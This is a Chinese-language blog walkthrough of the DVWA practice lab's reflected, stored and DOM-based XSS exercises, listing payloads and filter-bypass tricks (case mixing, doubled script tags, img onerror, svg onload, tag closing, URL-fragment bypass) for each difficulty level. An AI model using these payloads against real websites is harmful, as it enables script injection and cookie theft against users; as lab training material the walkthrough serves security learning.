DVWA靶场 XSS

发布于:2022-12-19 ⋅ 阅读:(224) ⋅ 点赞:(0)

目录

XSS(跨站脚本攻击)

payload

1、反射型XSS

2、存储型XSS

3、DOM型xss


XSS(跨站脚本攻击)

payload

<script>alert("xss success!")</script>

<script>alert(document.cookie)</script> 弹窗cookie

<Script>alert("xss success!")</script> 大小写混淆绕过<script>标签限制

<s<script>cript>alert("xss success!")</sc<script>ript> 双写<script>标签绕过

<iframe src="https://www.baidu.com" name="xss" width="1000px height="1500px"></iframe>

使用iframe标签嵌入网页

<img src=1 οnerrοr=alert("xsssuccess!")> 利用图片报错信息

<svg οnlοad=alert("xsssuccess!")> 利用svg标签 onload

#<script>alert("xss success!")</script> 利用注释绕过限制

xss</select><img src=1 οnerrοr=alert("xsssuccess!")> 闭合标签绕过限制

1、反射型XSS

(1)low

1、进入靶场,找到XSS Reflected,级别调到low级别

2、查看源代码发现没有任何过滤和防护措施,可以直接上payload

3、<script>alert("xss success!")</script>

4、<script>alert(document.cookie)</script>

(2)Medium

1、使用弹框payload进行XSS,发现代码输出到屏幕上,并没有执行

2、查看源代码,发现代码把<script>标签过滤了

3、大写<Script>标签进行绕过,<Script>alert("xss success!")</script>

4、成功进行XSS

5、也可以使用双写script标签的方法,绕过限制 <s<script>cript>alert("xss success!")</sc<script>ript>

(3)High

1、使用常规payload进行XSS,<script>alert("xss success!")</script>,没有成功,只显示了一个>

2、使用大小写绕过,<Script>alert("xss success!")</script>,结果一样

3、查看源代码,发现是将script标签中的字母全部替换成了空,script标签已经无法使用了

preg_replace 函数执行一个正则表达式的搜索和替换。

4、无法使用script标签就使用其他标签进行,使用iframe嵌入网页

<iframe src="https://www.baidu.com" name="xss" width="1000px height="1500px"></iframe>

可以发现代码已经执行,这里只不过被firefox给拦截了

5、使用img标签,利用图片报错信息进行XSS,<img src=1 οnerrοr=alert("xsssuccess!")>,这个payload中的提示语不能有空格

6、使用svg标签 <svg οnlοad=alert("xsssuccess!")>

impossible

通过多层验证和过滤不存在xss

2、存储型XSS

payload

(1)low

1、先测试一下

2、上payload,发现第一个提交框有长度限制,把长度值改的大一些

3、继续使用payload,<script>alert("xss success!")</script>

4、成功XSS

5、测试第二个提交框是否存在xss

6、成功xss

7、从其他页面在切换到此页面的时候,仍然会弹出xss弹窗,这就是存储型的xss具有持久性,如果不清楚数据库中的代码这个xss攻击将会一直存在

(2)medium

1、正常注入xss代码,发现代码被输出

2、查看源代码,发现message字段不存在注入,而name字段只是过滤了<script>标签

3、利用大小写混淆绕过限制,或者双写script标签

<Script>alert("xss success!")</script>

<s<script>cript>alert("xss success!")</sc<script>ript>

(3)high

1、正常注入是肯定不行了,直接查看源代码,发现只能从name字段注入,而且不能使用<script>标签,这时就想着使用<iframe> <img><svg>等标签

2、使用img标签

<img src=1 οnerrοr=alert("xsssuccess")>

3、使用iframe标签

<iframe src="https://www.baidu.com" name="xss" width="1000px height="1500px"></iframe>

(4)impossible

1、调到impossible级别后发现即使是存储型的xss也不再存在前面几个级别的弹窗,说明无注入点

3、DOM型xss

DOM(Document Object Model文档对象模型),DOM型xss是一种特殊类型的反射型xss,只不过它不用与服务端交互,它发生在客户端数据处理过程中。

(1)low

1、查看源码,发现无任何防护、过滤措施,直接在url中注入代码

2、<script>alert("xss success!")</script>XSS成功

(2)medium

1、直接注入js代码,没有任何反应

2、查看源代码,使用了stripos过滤<script,且不区分大小写,

3、无论是双写还是大小写都没有用了,查看一下前端代码,发现使用的是<select>和<option>标签

4、可以利用标签闭合,在接上payload来执行xss

(3)high

1、查看源码

2、使用注释绕过后端代码,不经过服务器而是直接浏览器执行注释的内容

#<script>alert("xss success!")</script>

(4)impossible

查看源码,不需要任何防护保护在客户端

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到